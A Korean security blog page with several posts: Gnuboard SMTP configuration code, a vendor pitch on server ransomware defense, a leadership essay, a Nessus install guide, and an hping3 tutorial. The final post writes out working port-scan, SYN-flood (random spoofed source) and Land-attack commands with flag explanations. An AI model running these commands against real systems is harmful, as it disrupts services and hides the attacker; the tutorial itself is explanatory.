그누보드의 소스파일 중 일부를 수정해주어야 합니다. 보다 쉽게하기 위해 환경설정을 통해 설정이 되도록 그누보드의 기능을 개선하면 좋겠지만 몇몇 이유로 인해 그렇게까지 기능을 제공하지는 않습니다. 때문에 IT를 전공하고 약간의 이메일서버의 개념과 동작원리를 이해해야만 수정할 수 있습니다.


그누보드의 SMTP(Mail Server) 설정

앞에서 설명한 그누보드의 메일 보내기 기능 사용 설정은 그누보드가 "어느 메일서버에 어떤 계정으로 접속하여 메일을 보낼지"를 알려주어야 제대로 동작합니다.


여기에서 사용되는 메일 서버는 다음이나 네이버 혹은 구글 등 SMTP 기능을 제공하는 다양한 메일서버를 사용할 수 있습니다. (SMTP에 대한 설명은 생략합니다.)


또한 SMTP 설정 시 SSL 설정과 Plain Text 방식 중 하나를 사용할 수 있는데 이 포스트에서는 다음이나 구글, 네이버 등에서 요구하는 SSL(암호화통신프로토콜)을 사용하는 메일 설정과 SSL을 요구하지 않는 Plain Text 방식을 사용할 때의 설정을 모두 설명합니다.


그누보드의 메일서버 주소와 계정 설정은 lib 디렉토리의 mailer.lib.php 파일에서 하게됩니다.

mailer.lib.php 파일에서 mailer() 함수를 찾아 다음과 같이 수정해줍니다. 그누보드라 하더라도 버전에 따라 약간씩 소스가 달라 위치가 다를 수 있습니다.


먼저 plain text 방식의 메일발송을 지원하지 않고 ssl을 요구하는 메일서버에서 설정방식입니다. 다음, 구글등이 해당됩니다. 포트번호도 다르다는 점에 주의해주세요.


function mailer($fname, $fmail, $to, $subject, $content, $type=0, $file="", $cc="", $bcc="") 

{

    global $config;

    global $g5;


    // 메일발송 사용을 하지 않는다면turn;

    if (!$config['cf_email_use']) return;


    if ($type != 1)

        $content = nl2br($content);


    $mail = new PHPMailer(); // defaults to using php "mail()" 

    if (defined('G5_SMTP') && G5_SMTP) {

// Modified By taeho. 2015.12.31, 메일을 보낼 때 메일서버에 접속하기 위한 설정입니다.

        $mail->IsSMTP();

        $mail->SMTPAuth  = true;                  // enable SMTP authentication

        $mail->SMTPSecure = "ssl";                // sets the prefix to the servier

        $mail->Host      = "smtp.daum.net";      // sets GMAIL as the SMTP server

        $mail->Port      = 465;                  // set the SMTP port for the GMAIL server

        $mail->Username  = "다음아이다@hanmail.net";  // MAIL username

        $mail->Password  = "비밀번호";            // MAIL password

        // End. By taeho. 20151231           


    }


    $mail->From = 'noreturn@hanmail.net';   // 사용자에게 보여줄 보내는이 메일주소

    $mail->FromName = 'taeho BBS';  // 사용자에게 보여줄 보내는 사람의 이름 등

    $mail->Subject = $subject;

    $mail->AltBody = ""; // optional, comment out and test

    $mail->MsgHTML($content);

    $mail->AddAddress($to);

        $mail->AddAddress($to);

    if ($cc)

        $mail->AddCC($cc);

    if ($bcc)

        $mail->AddBCC($bcc);

    //print_r2($file); exit;

    if ($file != "") {

        foreach ($file as $f) {

            $mail->AddAttachment($f['path'], $f['name']);

        }

    }

    return $mail->Send();


다음은 plain text를 지원하는 표준 메일서버의 설정입니다.

function mailer($fname, $fmail, $to, $subject, $content, $type=0, $file="", $cc="", $bcc="")

{

    global $config;

    global $g5;


    // 메일발송 사용을 하지 않는다면

    if (!$config['cf_email_use']) return;


    if ($type != 1)

        $content = nl2br($content);


    $mail = new PHPMailer(); // defaults to using php "mail()"

    if (defined('G5_SMTP') && G5_SMTP) {

        $mail->IsSMTP(); // telling the class to use SMTP

        $mail->Host = 'mail.company.kr'; // SMTP server

        $mail->SMTPAuth = true;

        $mail->Username = 'taeho@company.kr';

        $mail->Password = '비밀번호';

    }

    $mail->From = 'noreturn@company.kr';

    $mail->FromName = 'Library Server';

    $mail->Subject = $subject;

    $mail->AltBody = ""; // optional, comment out and test

    $mail->MsgHTML($content);

    $mail->AddAddress($to);

    if ($cc)

        $mail->AddCC($cc);

    if ($bcc)

        $mail->AddBCC($bcc);

    //print_r2($file); exit;

    if ($file != "") {

        foreach ($file as $f) {

            $mail->AddAttachment($f['path'], $f['name']);

        }

    }

    return $mail->Send();

}


표준 SMTP 메일서버의 경우 Port 번호를 명시하지 않아도 됩니다. 포트번호가 명시되지 않으면 표준 SMTP 포트번호인 25번이 자동으로 설정됩니다.


주의사항

프로그래밍을 할 때 절대 삼가해야할 점은 소스코드에 ID와 Password를 하드코딩하지 말아야 한다는 점입니다. 하지만 무료 소스이다보니 위의 사례들 처럼 비밀번호를 소스코드에 그대로 노출시키게 되는 경우가 있습니다. 만약 이 서버에 접속 권한이 있는 개발자나 운영자가 이 비밀번호를 유출시킨다면 큰 피해로 이어질 수 있기 때문에 매우 주의해야 합니다.


RedCastle과 같은 파일접근통제 솔루션을 이용해 개발자나 운영자가 telnet, ssh, ftp 등의 접속을 통해 이 소스파일을 읽지 못하도록 조치한다면 최소한의 보안은 가능하지만 그 이외의 경우... 이 파일에 대한 접근을 통제하기는 매우 어렵다는 점을 항상 유의해야 합니다.


신고
이 댓글을 비밀 댓글로
  1. 무료보드에 참 기능이 많아서 저도 과거에 이용해본 경험이 있습니다 메일도 쉽게 연계가 가능하군요^^
    • 그누보드엔 참 많은 기능이 있습니다. 그중에서 특별히 활용하는게.. 메일기능과 여분필드 정도네요.. ^^ 개발능력이 부족하거든요.. ^^

웹서버까지 공격하는 랜섬웨어 - RedCastle로 방어한다.

Posted by taeho Tae-Ho
2016.01.14 19:00 서버보안

2015년 봄... 인터넷을 뜨겁게 달구던 클리앙 랜섬웨어 유포사고는 랜섬웨어를 사용자들의 PC에 감염시키기 위해 웹서버를 "이용"했을 뿐이다. (사고 관련 포스트 보러가기) 그래서 사실 웹서버에는 별다른 피해가 발생하지 않는다. 이렇게 서버에 별다른 피해를 끼치지 않기에 웹서버를 이용한 악성코드 유포사고로 피해를 보는 것은 일반 사용자들 뿐이다. 서버를 운영하는 기업들이나 공공기관은 별다른 피해를 입지 않고 "욕만 한번" 먹고 그냥 넘어가기 일쑤다.


하지만 최근 랜섬웨어가 일반 사용자들의 PC 뿐만아니라 서버까지도 공격한다는 소식은 웹서버를 이용해 서비스를 제공하는 기업이나 기관의 IT부서 담당자들을 꽤나 긴장하게 할 듯 하다.


해커 입장에서는 어차피 랜섬웨어를 사용자의 PC까지 감염시키기 위해서는 일단 유포지로 선택된 웹서버에 랜섬웨어를 업로드해야 하며 이를 위해서는 웹서버의 취약점을 찾아 해킹해야 한다. 그 이야기는 업로드된 서버에서 랜섬웨어가 동작하게 하면 서버의 수많은 파일을 암호화할 수 있다는 이야기다. 해커 입장에선 더 손쉬운 공격이 될 수 있다. 


인터넷에 떠도는 웹서버의 파일이 랜섬웨어에 의해 암호화된 화면 


이런 공격은 일반적인 웹쉘 탐지솔루션이나 IPS, 웹방화벽 등으로는 차단이 불가능하다. 일단 웹서버에서 취약점이 발견되면 해커는 취약점을 악용해 랜섬웨어를 업로드하거나 직접 서버에서 소스를 컴파일해 실행파일을 생성할 수 있다. 


서버에 업로드된 랜섬웨어는 웹서버가 실행중인 운영체제 계정의 권한으로 접근이 가능한 수많은 파일을 암호화해버릴 수 있다. 당연히 암호화가 끝나면 암호화에 사용된 Key가 담긴 파일을 삭제하고 "돈내라고" 협박하는 웹페이지를 생성해 웹서버 관리자에게 보여줄 수 있다.


이런 상황은 현재까지 나도 경험해보지 못했기에 "가정"하는 상황이지만 충분히 가능한 시나리오며 여러 보안관련 사이트에서 이러한 위험을 경고하고 있는 상황이다.


종종 방문하는 SecurityPlus의 블로그에서도 관련 정보를 찾아볼 수 있다.

(http://blog.securityplus.or.kr/2016/01/blog-post_14.html)


웹서버의 취약점을 공격하여 서버에 파일을 생성하고, 명령어를 실행하며, 소스파일을 위변조하거나 암호화하는 공격을 가장 효과적으로 차단할 수 있는 보호대책은 RedCastle SecureOS를 서버에 설치하고 파일접근통제정책(File ACL)을 적용하는 것이다. 그리고 이 FileACL을 적용하기 위해서는 SecureOS 전문 컨설팅을 통해 웹서비스의 디렉토리 구조 및 보호대상 자원(파일)을 선정하고 정책을 구현하는 서비스를 받아야하기도 한다.


그와 과련된 여러 포스팅을 올렸고 해당 포스트를 보고 여러 분들이 문의를 주시곤 한다. 보안솔루션은 보안의 특성상 완벽한 해킹차단은 불가능하다. 가장 완벽한 보안솔루션도 예상치 못한 Hole이 발견되어 뚫리곤 한다. 

하지만 분명한 것은 RedCastle SecureOS는 다른 보안솔루션보다 월등한 명령어 실행 통제 및 파일 위변조 차단 성능을 보여준다는 것이다. 아래 포스트에 방어사례도 있지만 실질적인 서버 내부에서 일어날 수 있는 해킹에 대한 방어 효과는 그 어떤 보안솔루션과의 비교를 거부할만큼 월등한 성능을 보여준다.


당연히 랜섬웨어에 의해 서버에서 발생할 수 있는 파일의 암호화 공격에 가장 효과적으로 대응할 수 있는 보안솔루션이 바로 RedCastle SecureOS라고 할 수 있다.


관련 포스트 모음


IIS웹서버 해킹을 통한 악성코드 삽입 공격 방어 사례 (소스위변조공격)  -  http://blogger.pe.kr/346

웹페이지 변조(파일변조)를 차단하는 근본적인 방법  - http://blogger.pe.kr/433

웹서버 해킹 방어 사례 - 남다른 끈기를 보여준 해커 -  http://blogger.pe.kr/451

신고
이 댓글을 비밀 댓글로
  1. 리멤버에 명함이 업데이트 되셨던데 혹시 이직 하신건지요?
    이전에 회사명이랑 달라진것 같아서 ^^
    • 아닙니다. 회사명만 바뀌었습니다. 레드비씨에서 "SGA솔루션즈"로요.. 원래 레드비씨는 SGA의 자회사였습니다. 이제 회사명이 바뀔일은 없을 듯 합니다.

리더의 조건

Posted by taeho Tae-Ho
2016.01.03 22:17 나의 일

어느새 다사다난했던 2015년이 지나고 2016년이 밝았다. 그리고 2016년 한해도 지난해 못지않게 다사다난할 듯하다. 그리고 올해는 내가 직업을 갖고 직장을 다닌지 만으로 20년이 되는 해다.


20년...


지난 20년간 두 개의 회사에 재직했었고 대여섯 개의 본부와 팀을 경험했다. 그리고 운이 좋았는지 초반 4~5년이 지난 뒤 부터 때로는 작고 때로는 큰 조직을 맡아 리더가 될 수 있었다. 그리고 그 긴 시간동안의 경험을 바탕으로 팀과 본부급의 조직에서 리더가 갖추어야할 조건들에 대해 참 많은 것을 깨달을 수 있었다.


어떤 조직이든 조직의 리더에게는 리더쉽이 필요하다. 하지만 중요한 것은 조직의 리더가 갖추어야할 역량이나 능력은 조직이 처한 상황이나 구성원의 특징 혹은 조직의 분위기에 따라 모두 다르다는 점이다. 전에도 쓴 적이 있지만 (보러가기) 언론이나 자기계발서와 같은 책에서 떠드는 현실과 동떨어진 리더쉽을 마음에 담아두고 따라하려 해서는 안된다는 것이다.


흔히 리더쉽을 이야기하면 많은 사람들이 카리스마, 친화력 등 단순히 인간관계에서 한 사람을 돋보이게 하는 능력들을 이야기하지만 사실 그런 능력은 조직을 이끄는데 있어 양념의 역할은 할 수 있으나 조직을 제대로 이끌어 성과를 내는데는 큰 도움이 되지 못한다는 사실을 이해하지 못한다. 


예를 들어 팀장이 카리스마가 있다고 팀원들이 더 열심히 일한다는 것은 아무런 근거도 없고 사실도 아니다. 다만 조직력이 잘 갖추어진 조직에서 팀장이 카리스마가 있다면 팀의 조직력을 다지는데 도움이 될 수는 있다. 또한 팀장이 친화력이 좋다고 팀원들이 열심히 일하는가? 팀장의 친화력은 그저 팀의 결속력을 다지는데 도움을 줄 뿐이다.


하지만 어떤 조직이든 리더가 갖추어야 하는 공통의 덕목 혹은 능력은 분명히 있다. 20년의 조직생활에서 깨달은 몇가지 리더의 조건에 대해 써보고자 한다.


솔선수범(率先垂範)


너무 식상한가? 이 네 글자를 보고 "겨우 이 이야기를 하려고.."라는 느낌이 찰라의 순간이라도 들었다면 당신은 지금까지 리더의 자격이 없었다고 단언하여 말해주고 싶다. "맞아..!!"라고 무릎을 쳤어야 한다. 율곡선생이 왕에게 "솔선수범"할 것을 직언했을 만큼 솔선수범은 리더가 갖추어야할 첫 번째 덕목이다.


직원들에게는 회사가 어렵다며 비용절감을 외치고 업무 수행에 필요한 최소한의 업무추진비 마저도 쓰지 못하도록 이런 저런 제약을 가하면서 사장이나 본부장, 팀장이 차량을 지급받고 직원들이 상상하기 힘들만큼 법인카드를 쓰고 다닌다면 직원들은 결코 회사에 애사심을 갖지 않는다. 당연히 조직의 성과도 기대할 수 없다.


또한 업무에 있어서도 솔선수범해야 한다. 예를 들어 직원들에게 출근시간을 지키도록 강요하면서 임원들이나 팀장들이 출근시간을 제대로 지키지 않는다면 누가 과연 업무에 충실하겠는가? 


또한 특정업무를 직원에게 시키기 전에 리더가 그 업무를 훌륭하게 해내는 것을 직원들에게 직접 보여줘야 한다.직원들은 자신들의 리더가 자신에게 할당한 업무를 훌륭하게 해낼 수 있다는 것을 믿을 때 그 업무에 보다 적극적으로 나선다. 리더가 그 업무를 완수하는 것을 본적이 없다면 직원들은 그 업무를 리더가 훌륭하게 완수할 수 있다고 생각하지 않는다. 즉, 업무를 대충해도 리더가 그 업무의 결과에 대해 제대로 판단할 수 없을 수도 있기에 적극적으로 업무를 수행하지 않는 것이다. 반면 리더가 그 업무를 완벽하게 수행해내는 것을 본 직원들은 최소한 리더가 수행한 만큼의 완성도를 추구하며 업무를 수행하게 된다. 리더가 수행하여 완수한 완성도가 직원들이 업무를 수행했을 때의 최소한의 기준이라고 각인하기 때문이다.

때문에 리더는 리더에게 속한 직원들이 보고 따라야하는 업무 수행의 목표가 되어야 한다.


나 또한 15년 동안 조직을 이끌면서 가장 신경을 썼던 대목이기도 하다.


적재적소(適材適所)

리더는 직원의 능력과 경험치에 따라 업무를 수행하기에 가장 적합한 직원에게 업무를 할당해야 한다. 많은 리더들이 제대로 갖추지 못한 능력 중 하나다. 리더가 갖추어야 하는 적재적소의 덕목은 직원의 업무수행 능력과 업무 난이도의 균형을 맞춰 능력을 낭비하는 일이 없도록 하는 것이며 또한 업무에 문제를 야기하지 않도록 하는 능력이다.

너무 어려운 업무를 능력이 되지 않는 직원에게 할당하거나 쉬운 업무를 탁월한 능력을 가진 직원에게 할당하는 실수를 범하면 안된다. 


또한 직원들은 모두 각자의 장점과 단점을 갖고 있다. 조직에서 수행해야 하는 모든 업무에서 탁월한 능력을 발휘하는 직원은 없다고 생각해야 한다.(멀티플레이어는 없다.) 따라서 조직에서 수행하는 다양한 업무를 잘 수행할 수 있도록 직원들을 적재적소에 배치하는 능력은 리더가 갖추어야할 매우 중요한 덕목이다. 


영업적 능력이 떨어지는 직원에게 영업을 맞긴다든가 화술이 부족한 직원에게 프리세일즈 업무를 맞기고 직원들을 통솔하는 능력이 떨어지는 직원에게 특정 조직의 리더를 맏기는 등의 과오는 적재적소의 능력을 갖추지 못해 발생하는 문제다. 


자기에게 맞지 않는 옷을 입은것 같은 직원들은 당연히 저성과의 늪에 빠지게 되고 다른 직원들과의 업무적 관계에서 서로에게 불만을 갖게 되며 불평을 입에 달고 살게 된다. 이런 조직은 당연히 업무성과가 떨어질 수 밖에 없고 조직이 사분오열될 수 밖에 없다.


존중(尊重)

리더는 직원들을 인격적으로나 업무적으로 존중해야 한다. 주변에서 흔히 직원들이 수행한 업무의 결과에 대해 너무 쉽게 소리지르고 꾸짓고 인격적으로 상처를 받을만큼 혼을내는 경우를 흔히 볼 수 있다. 그렇다고 제대로 코멘트를 해주는 것도 아니면서 말이다. 


특히 여러 직원이 함께하는 회의 시간에 친하다는 이유로 특정 직원에게 반말로 업무를 지시한다거나 직원들을 하인 부리듯 하며 무시하는 경우도 흔히 볼 수 있다. 둘 만의 공간에서 사적인 대화나 가벼운 업무상의 이야기를 할 때는 반말을 할 수도 있겠지만 여러 직원이 함께하는 공식적인 회의 석상에서 반말은 상황과 분위기를 봐가며 해야한다. 


또한 직원에게 지시하여 작성된 보고서나 결과에 대한 검토 시 언성을 높이거나 (제대로 업무를 가르쳐주지도 않았으면서) 타박을 하는 행위는 결코 있어서는 안된다. 또한 그 결과물을 타박하고 처음부터 직접 다시 작성하거나 대대적으로 수정하는 행위 또한 피해야 한다. 이는 직원이 "그럴 거면 왜 시켰냐?" 라는 불만을 갖게되는 직접적인 원인이 되며 이후 다른 업무를 수행할 때도 "어차피 혼나고 다 고쳐질텐데..."라는 패배의식을 심어주게 된다. 번거롭더라도 함께 검토하며 수정 방향을 꼼꼼히 체크해주고 업무 담당자가 직접 수정하도록 하여야 하며 모두 완료되면 "칭찬"을 빼놓지 말아야 한다.


또한 주의해야 할 것은 "사적인" 일을 시키지 말아야 한다는 것이다.

쓰레기통을 비우게 한다든가 심부름을 시킨다던가 하는 행위는 삼가야 한다. 때로는 부탁을 통해 작은 일들을 시킬 수도 있겠지만 당위성은 항상 염두에 두어야 한다. 업무 외적인...사적인 일을 지시받고 수행하는 직원은 당연히 불만을 갖게 된다. "내가 심부름이나 하려고 이 회사에 입사했나?"라는 생각을 한번 쯤 안해본 사람은 없을 것이다. 그만큼 불만의 원인이 된다.


리더로 부터 존중받지 못하는 직원들은 겉으로는 리더를 따르는 듯 하지만 마음 속으로는 매우 강렬한 반감을 갖게 되며 조직의 다른 구성원과의 관계도 나빠질 수 밖에 없다.


그 외에도 직원에 대한 존중에서는 언급할 것이 매우 많지만 모두 언급할 수는 없다.


공부(工夫)

내가 기술분야의 직업을 갖고 있기 때문인지는 모르겠지만 공부는 이 업종을 떠나는 순간까지 게을리해서는 안된다는 생각을 하게 되었다. 더군다나 작던 크던 기술조직의 리더라면 적어도 직원들보다는 많은 것을 알고 있어야 한다.


기술인력은 두가지 종류로 구분된다. 하나는 기술자이고 하나는 기능공이다. 넓은 의미에서 기술자는 기능공을 포함한다고 할 수 있다. 하지만 엄격히 따졌을 때 기술과 기능은 분명 구분이 가능하다.


특정업무에 숙련된..즉 반복되는 기술업무에 숙련된 사람은 기능공이라 불린다. 하지만 기술자라면 경험하지 못한 새로운 이슈에 대응할 수 있는 기반기술을 가진 사람을 뜻한다. 하지만 IT업종에서 많은 "엔지니어"라 불리는 사람들은 그저 "기능공" 수준을 벗어나지 못한다. 


나는 DBA나 DB엔지니어가 아니니까...

나는 개발자가 아니니까...

나는 네트워크 엔지니어가 아니니까...


적어도 기술조직의 리더가 되고자 한다면 DB, Network, OS, Programing은 물론 시스템SW에 대한 기반 기술들은 갖고 있어야 한다. 하지만 그 많은 분야의 지식을 쌓기위해서는 끊임없는 공부가 필요하다. 기술조직에서 그저 관리를 위한 리더는 존재가치가 없다. (적어도 난 그렇게 생각한다.)

하지만 기술조직의 팀장이나 부서장들 중에서 그렇게 열심히 공부하는 리더는 찾아보기 힘든게 현실이다. 오히려 사적인 이익을 취하기 위해 회사의 내부 정치나 인맥관리를 위해 술마시기를 즐기거나 자신은 잘 모르면서 직원들에게 떠넘기고 제대로 결과를 챙기지도 못하는 리더가 오히려 많은게 엄연한 현실이다.


그래서 조직원들이 따라 줄까? 과연 성과는 제대로 나올까? 그런 엔지니어들이 사업을 수행하는데 고객은 사업 수행 결과에 만족할까? 더군다나 변화 무쌍하고 새로운 기술이 넘쳐나는 IT 바닥에서 말이다.




지금까지 생각나는 대로 두서없이 리더의 조건에 대해 써봤다. 내 성격 상 한번 쓴 글은 오랫동안 다시 보지 않기에 읽기에 좀 거북한 표현이 있을지도 모르겠다. 20년간 일하면서 존경하고 따를 만한 리더를 만난적이 별로 없기에 세상의 많은 리더들에 대해 부정적인 생각을 갖고 있는게 사실이다. (하다못해 대통령 마저도 이모양이니...)


2016년 새해들어 복잡한 심경을 정리하며 문득 나는 어떤 리더였는지..그리고 내가 모셨던 리더들은 어떤 분들이었는지를 생각하다 문득 내가 추구하는 리더의 모습은 이런게 아닐까하는 생각이 떠올라 기록으로 남겨본다.


신고
이 댓글을 비밀 댓글로
  1. 솔선수범이야말로 가장 기본이 되지만 동시에 가장 어려운것이 아닐까 싶습니다ㅎㅎ 특히나 속칭 군대식 짬밥문화에 익숙한 사람들일수록 더 그런듯 하고요.. 꼭 찍어 관리자 입장에서만이 아니라 누구에게나 필요한것이 솔선수범이란 점을 상기하면서 새해 스타트를 잘 끊어볼까 합니다. 좋은 글 잘 읽고 갑니다~ 주인장님도 새해 복 많이 받으셔요ㅎ
    • 감사합니다~ Frost.C님도 새해 복 많이 받으세요~
    • 2016.01.10 16:53
    비밀댓글입니다
    • 방명록에 답변 드렸습니다. 새해 복 많이 받으세요.

취약점 진단 도구 네서스(Nessus) 설치하기

Posted by taeho Tae-Ho
2015.12.29 14:11 정보보호

Nessus는 매우 유명한 보안 취약점 점검 도구 입니다. 원래는 무료버전으로 제공이 되었었는데 기능이 강화되면서 유료로도 판매를 하고 있을만큼 유명한 보안 취약점 점검도구 입니다. 


오늘은 칼리 리눅스에 네서스를 설치하는 과정을 기록해두고자 이 포스트를 작성합니다. 칼리리눅스에는 아쉽게도 네서스가 포함되어 있지 않습니다. 그래서 별도로 설치를 해야합니다. 


먼저 네서스 홈페이지에서 설치 파일을 다운로드 받습니다. 설치할 운영체제의 종류와 버전에 따라 다운로드 받습니다. 전 칼리리눅스이기 때문에 Debian 버전을 받습니다. 칼리리눅스는 데비안 리눅스를 기반으로 만들어져 있기 때문입니다.



아래 화면에 Nessus-6.5.4-debian6_amd64.deb 파일이 설치파일입니다.

dpkg 명령으로 설치합니다.



아래 화면과 같이 dpkg 명령으로 설치가 되었습니다.



웹 인터페이스를 제공하는 Nessus 서비스 대몬을 구동합니다.

정상적으로 설치되었다면 /etc/init.d 디렉토리에 서비스를 구동하는 nessusd 라는 스크립트가 있습니다.



칼리리눅스에 포함되어 있는 파이어폭스 브라우저를 이용해 아래와 같이 접속합니다.

127.0.0.1 은 칼리리눅스 자신의 localhost 를 의미합니다. 8834는 네서스가 서비스되는 웹서비스 포트번호입니다.



접속하면 다음과 같이 환영메시지가 보입니다.



위 화면에서 Continue 버튼을 누르면 계정을 생성합니다. 헷갈리니까...칼리리눅스의 root 계정과 동일하게 ID를 만들었습니다.



음...등록하라고 나옵니다. 프리웨어지만 tanable 웹사이트에서 무료 라이센스 키를 받아야 합니다. 아래 화면 중간에 있는 "Registering this scanner" 링크를 눌러 키를 발급받는 페이지로 연결합니다.



세가지가 보입니다. 당연히 무료버전을 설치할 것이기에 Free~의 "Register Now"를 선택합니다. 기업에서 업무용으로 사용하거나 보안컨설팅의 취약점 점검 목적이라면 더 편리한 기능을 제공하므로 유료라이센스를 구입하는 것이 더 적합합니다.



라이센스 발급을 위한 정보를 입력하라고 요구합니다.

라이센스는 여기에서 입력한 이메일 주소로 전송되어 옵니다.



이메일로 전송되었다는 메시지 입니다.



이메일로 전송되어 온 라이센스 키(Activation Code)를 입력합니다.



그런데 최종 단계인 초기화 단계에서 아래 처럼 Download Failed 에러가 납니다. 원인은 알 수 없었습니다만..

화면 하단에 메시지가 보입니다. 


수동으로 'nessuscil update' 명령을 실행하라고 합니다. 



그런데 nessuscli 명령은 PATH에 포함되어 있지 않습니다. 그래서 find 명령으로 찾았습니다.

그리고 nessuscli update 명령을 실행합니다.  일정시간 0% 메시지가 나오더니 다운로드를 받기 시작합니다. 네트워크 상태에 따라 조금 시간이 걸릴 수 있습니다.



드디어 정상적으로 update 되었습니다.



이제 nessusd 서비스를 재기동 해야 합니다. 아래와 같이 재기동 합니다.



그리고 브라우저를 실행하여 다시 Nessus 서비스에 접속합니다. 이 단계에서 시간이 매우 오래걸렸습니다. 이 칼리리눅스 머신은 i5 노트북에서 VMWare를 이용하여 가상머신으로 설치하였습니다. 메모리는 2G를 설정했는데 메모리를 Full로 사용합니다. 다행스럽게 무한정 메모리를 할당받지는 않아서 다운되지는 않았습니다. 약 15분 이상 걸린 것으로 기억이 되네요.

하여튼 기다리면...완료되었습니다.



앞에서 생성한 계정으로 로그인합니다.



정상적으로 로그인이 되었습니다.



설치가 완료되었습니다.


설치된 기념으로 웹 취약점 점검을 실행시켜봤습니다.

취약점이 꽤...나오네요... 오래된 아파치라 그런가 봅니다.



포스트를 마칩니다.


신고
이 댓글을 비밀 댓글로
  1. 즐거운 신년 연휴 보내셨는지요?
    작년에 얼굴도 한번 뵙고 우연히 인연을 이어가게 된것 같습니다.
    새해에도 만사형통 하시고 복 많이 받으세요~
    • ㅎㅎ 네.. 앞으로도 좋은 인연 이어갔으면 하는 바램입니다. 좋은 친구가 되었으면 합니다. ^^
      지후대디님과 가족분들 모두 복 많이 받으시길 기원합니다~

hping3를 이용한 포트스캔 및 DOS Attack

Posted by taeho Tae-Ho
2015.12.22 13:26 정보보호

hping은 TCP/IP 프로토콜을 사용하는 서버 및 네트워크 환경을 분석하거나 공격할 수 있는 패킷 생성기이자 분석도구다. 몇몇 버전이 있지만 현재 사용되는 최신 버전은 hping3다.


hping3의 사용법을 몇가지 정리해 본다.


1. icmp ping

hping3는 ping 명령어 처럼 icmp 프로토콜을 이용해 특정 IP에 대해 장비가 살아있는지...죽어 있는지를 확인할 수 있다. 


root@kali:~# hping3 -1 -c 3 211.xxx.xxx.xxx

HPING 211.xxx.xxx.xxx (eth0 211.xxx.xxx.xxx): icmp mode set, 28 headers + 0 data bytes

len=46 ip=211.xxx.xxx.xxx ttl=128 id=65246 icmp_seq=0 rtt=3.4 ms

len=46 ip=211.xxx.xxx.xxx ttl=128 id=65247 icmp_seq=1 rtt=2.3 ms

len=46 ip=211.xxx.xxx.xxx ttl=128 id=65248 icmp_seq=2 rtt=6.0 ms


--- 211.xxx.xxx.xxx hping statistic ---

3 packets transmitted, 3 packets received, 0% packet loss

round-trip min/avg/max = 2.3/3.9/6.0 ms

root@kali:~# 

root@kali:~# ping 211.xxx.xxx.xxx

PING 211.xxx.xxx.xxx (211.xxx.xxx.xxx) 56(84) bytes of data.

64 bytes from 211.xxx.xxx.xxx: icmp_seq=1 ttl=128 time=1.97 ms

64 bytes from 211.xxx.xxx.xxx: icmp_seq=2 ttl=128 time=2.26 ms

64 bytes from 211.xxx.xxx.xxx: icmp_seq=3 ttl=128 time=2.20 ms

--- 211.xxx.xxx.xxx ping statistics ---

10 packets transmitted, 10 received, 0% packet loss, time 9017ms

rtt min/avg/max/mdev = 1.972/2.182/2.282/0.095 ms

root@kali:~# 


2. 특정 IP에 대한 포트스캔(port scan)

hping3는 특정 IP에서 리스닝(Listening) 중인 포트를 확인할 수 있는 포트스캔(port scan) 기능을 지원한다.


root@kali:~# hping3 --scan 1-1024 -S 211.xxx.xxx.xxx

Scanning 211.xxx.xxx.xxx (211.xxx.xxx.xxx), port 1-1024

1024 ports to scan, use -V to see all the replies

+----+-----------+---------+---+-----+-----+-----+

|port| serv name |  flags  |ttl| id  | win | len |

+----+-----------+---------+---+-----+-----+-----+

   80 http       : .S..A... 128 61950 64240    46

All replies received. Done.

Not responding ports: (1 tcpmux) (2 nbp) (3 ) (4 echo) (5 ) (6 zip) (7 echo) (8 ) (9 discard) (10 ) (11 systat) (12 ) (13 daytime) (14 ) (15 netstat) (16 ) (17 qotd) (18 msp) (19 chargen) (20 ftp-data) (21 ftp) (22 ssh) (23 telnet) (24 ) (25 smtp) (26 ) (27 ) (28 ) (29 ) (30 ) (31 ) (32 ) (33 ) (34 ) (35 ) (36 ) (37 time) (38 ) (39 rlp) (40 ) (41 ) (42 nameserver) (43 whois) (44 ) (45 ) (46 ) (47 ) (48 ) (49 tacacs) (50 re-mail-ck) (51 ) (52 ) (53 domain) (54 ) (55 ) (56 ) (57 mtp) (58 ) (59 ) (60 ) (61 ) (62 ) (63 ) (64 ) (65 tacacs-ds) (66 ) (67 bootps) (68 bootpc) (69 tftp) (70 gopher) (71 ) (72 ) (73 ) (74 ) (75 ) (76 ) (77 rje) (78 ) (79 finger) (81 ) (82 ) (83 ) (84 ) (85 ) (86 ) (87 link) (88 kerberos) (89 ) (90 ) (91 ) (92 ) (93 ) (94 ) (95 supdup) (96 ) (97 ) (98 linuxconf) (99 ) 


위의 예는 특정 ip에 대하여 포트스캔(--scan)을 1번에서 1024번 TCP 포트까지 Syn Flag를 세팅하여(-S) 수행하는 경우다. (TCP Syn Scan)

이 경우 RedCastle과 같은 SecureOS를 적용하여 통제가 수행될 경우 혹은 네트워크 방화벽이 구축되어 있는 경우 감사로그를 보면 출발지IP를 바로 잡아낼 수 있다. 


[ Sync Scan이 탐지되고 차단된 로그 : RedCastle SecureOS]


3. Syn Flooding Attack 및 Land Attack

이러한 Syn Scan을 응용한 것이 TCP Syn Flooding 공격이다. hping3는 출발지 IP를 랜덤하게 바꿔가며 특정 IP의 특정 port에 무차별적으로 Syn 패킷을 보낼 수 있다. 분명히 말해두지만 그런 행위는 범법행위다.


hping3 -S -d 64 111.222.111.222 -p 80 --flood --rand-source


-S : syn 패킷을 보낸다.

-d 64 : 패킷의 데이터사이즈

111.222.111.222 : 공격대상 서버IP

-p 80 : 공격대상 서버의 공격대상 포트

--flood : 최대한 많은 패킷을 전송

-- rand-source : 출발지 IP를 무작위로 하여 공격자IP를 감춤


한가지 주의할 것은 공격자가 사설IP를 사용할 경우 그리고 공격 대상서버가 인터넷을 통해 공인망을 통과할 경우 피해자가 공격자 IP를 알아낼 수 있다. 왜냐하면 공격자가 사설IP를 사용한 다는 것은 공격자가 피해자에게 보낸 패킷의 출발지 IP를 게이트웨이가 자신(게이트웨이)의 IP로 바꾸어 보내기 때문에 게이트웨이 주소를 통해 공격자의 위치를 대략적으로 파악할 수 있기 때문이다.


만약 Land Attack을 하고자 한다면 다음과 같은 명령을 사용하면 된다.


hping3 -1 -a 10.10.10.10 -d 65000 10.10.10.10


-1 : ICMP 모드 (-2는 UDP모드, 안써주면 TCP)

-a 10.10.10.10 : 변조할 출발지 IP 즉 스푸핑할 IP. 공격대상 IP와 동일하게 써준다.

-d 65000 : ICMP 패킷사이즈. 크게 준다. 크면 Fragmentation하여 전송하게 된다.

10.10.10.10 : 목적지 IP. 즉 공격 대상 IP




